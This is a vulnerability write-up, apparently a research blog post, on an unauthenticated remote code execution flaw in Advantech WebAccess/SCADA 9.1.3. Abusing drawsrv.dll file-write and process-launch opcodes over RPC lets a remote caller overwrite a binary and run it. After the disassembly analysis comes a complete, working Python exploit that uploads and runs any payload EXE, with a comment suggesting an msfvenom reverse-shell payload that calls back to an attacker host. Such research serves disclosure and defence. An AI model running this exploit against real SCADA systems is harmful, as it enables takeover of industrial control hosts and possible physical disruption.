Advantech WebAccess/SCADA 9.1.3 drawsrv.dll
Remote Code Execution
webvrpcs.exe
in Advantech WebAccess/SCADA 9.1.3 exposes unauthenticated functionality from drawsrv.dll
which allows a remote attacker to execute arbitrary code by overwriting (IOCTL 0x277a , 0x277d, 0x277b) and executing (IOCTL 0x2711) a binary in the WebAccess/SCADA installation folder.
Background
- Software: Advantech WebAccess/SCADA 9.1.3 (default install options)
- Environment: Windows Server 2019 Standard x64 (10.0.17763 N/A Build 17763)
- Virtualised using VMWare
- DEP and ASLR set to
AlwaysOn
- Windows Defender disabled for ease of testing
Vulnerability Analysis
WebAccess exposes RPC functionality on TCP port 4592 via webvrpcs.exe
. Through this, functionality from drawsrv.dll
can be reached. drawsrv.dll
exposes the three file operations:
MSVCRT!fopen
atdrawsrv+3647
via opcode 0x277a (drawsrv+3636
)MSVCRT!fwrite
atdrawsrv+37CA
via opcode 0x277d (drawsrv+378B
)MSVCRT!fclose
atdrawsrv+36DB
via opcode 0x277b (drawsrv+36A4
)
fopen
called via opcode 0x277a:
Notice that when fopen
is called, Mode
is located 260 bytes after FileName
(0x1000363F). This is because 260 is the default value for MAX_PATH
on Windows.
fwrite
called via opcode 0x277d:
The actual call to fwrite
at drawsrv+37CA
:
fclose
called via opcode 0x277b:
The actual call to fclose
at drawsrv+36DB
:
Access to these three file operations do not require authentication. Therefore, an unauthenticated attacker can write a file to locations that are accessible to the user that runs webvrpcs.exe
.
Next, CreateProcessA
can be called via opcode 0x2711 (drawsrv+2DCF
):
This leads to a function call to drawsrv+1CE0
, where lpCommandLine
is passed as an argument:
Which then calls CreateProcessA
:
The only parameter that can be influenced by user input in the call to CreateProcessA
is lpCommandLine
.
Before calling drawsrv+1CE0
, a function (drawsrv+2BD0
) is called at drawsrv+306F
:
This function compares a hardcoded list of EXE files against lpCommandLine
:
WebAccess assumes the EXEs to be within the current working directory. Because drawsrv
is located in the WebAccess installation folder, the current working directory is the installation folder.
By overwriting an existing EXE file in the C:\WebAccess\Node
directory using opcodes 0x277a, 0x277d, and 0x277b, then executing it via opcode 0x2711, a remote unauthenticated attacker can execute arbitrary code in the context of the user that runs webvrpcs.exe
.
POC or GTFO
The screenshots below show the POC at work:
The actual POC:
#!/usr/bin/python3
import binascii
import sys, struct
from impacket import uuid
from impacket.dcerpc.v5 import transport
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <target_ip> <payload_exe>")
print(f"Example: {sys.argv[0]} 192.168.133.137 msf_payload.exe")
sys.exit(1)
host = sys.argv[1]
payload_file = sys.argv[2]
def call(dce, opcode, stubdata):
dce.call(opcode, stubdata)
res = -1
try:
res = dce.recv()
except Exception as e:
print("Exception encountered..." + str(e))
sys.exit(1)
return res
port = 4592
interface = "5d2b62aa-ee0a-4a95-91ae-b064fdb471fc"
version = "1.0"
string_binding = "ncacn_ip_tcp:%s" % host
trans = transport.DCERPCTransportFactory(string_binding)
trans.set_dport(port)
print("Connecting to the target...")
dce = trans.get_dce_rpc()
dce.connect()
iid = uuid.uuidtup_to_bin((interface, version))
dce.bind(iid)
print("Getting a handle to the RPC server...")
stubdata = struct.pack("<I", 0x02)
res = call(dce, 4, stubdata)
if res == -1:
print("Something went wrong, unable to get handle!")
sys.exit(1)
# unpacked result should return a handle to the RPC server
res_o = struct.unpack("III", res)
if (len(res_o) < 3):
print("Received unexpected length value!")
sys.exit(1)
# we will overwrite bwkserv.exe with our payload
filename = b"bwkserv.exe\x00"
# fopen at opcode 0x277a of drawsrv.dll
# add padding to account for MAX_PATH
fopen_args = filename + b"\x41" * (260 - len(filename))
# write to file in binary mode
fopen_args += b"wb\x00"
opcode = 0x277a
stubdata = struct.pack("<IIII", res_o[2], opcode, len(fopen_args), 0x0)
stubdata += fopen_args
# get handle to file
res = binascii.hexlify(call(dce, 1, stubdata))
file_handle = struct.pack(">I", int(res, 16))
# just for printing
file_handle_pretty = struct.pack("<I", int(res, 16))
file_handle_pretty = binascii.hexlify(file_handle_pretty).decode('ascii')
print(f"Handle to {filename} is {file_handle_pretty}")
# provide a custom payload EXE, or generate one with msfvenom
# e.g. `msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.133.132 LPORT=4444 -f exe -o payload.exe`
with open(payload_file, "rb") as pf:
pf_data = pf.read()
# fwrite at opcode 0x277d of drawsrv.dll
opcode = 0x277d
# arguments for fwrite
fwrite_args = file_handle # file handle
fwrite_args += struct.pack("<L", 0x1) # item size
fwrite_args += struct.pack("<L", len(pf_data)) # item count
fwrite_args += pf_data # the contents of the EXE
stubdata = struct.pack("<IIII", res_o[2], opcode, len(fwrite_args), 0x0)
stubdata += fwrite_args
res = binascii.hexlify(call(dce, 1, stubdata))
res = struct.pack("<I", int(res, 16))
res = binascii.hexlify(res).decode('ascii')
print(f"Successfully written {int(res, 16)} bytes to handle {file_handle_pretty}")
# fclose at opcode 0x277b of drawsrv.dll
opcode = 0x277b
stubdata = struct.pack("<IIII", res_o[2], opcode, 0x4, 0x0)
# arguments for fclose
stubdata += file_handle # file handle
print(f"Closing handle {file_handle_pretty}")
res = binascii.hexlify(call(dce, 1, stubdata))
# run the payload file
# opcode 0x2711 of drawsrv.dll
print(f"Executing {filename}")
opcode = 0x2711
# arguments for opcode 0x2711
stubdata = struct.pack("<IIII", res_o[2], opcode, len(filename), 0x0)
stubdata += filename
res = binascii.hexlify(call(dce, 1, stubdata))
dce.disconnect()
Conclusion
This was a fun vulnerability to find and exploit. Since it is a logical vulnerability, reliability is very high because there is no need to get around mitigations like DEP and ASLR. Operational security in the original proof-of-concept is not that good because the disk is accessed and existing files are overwritten.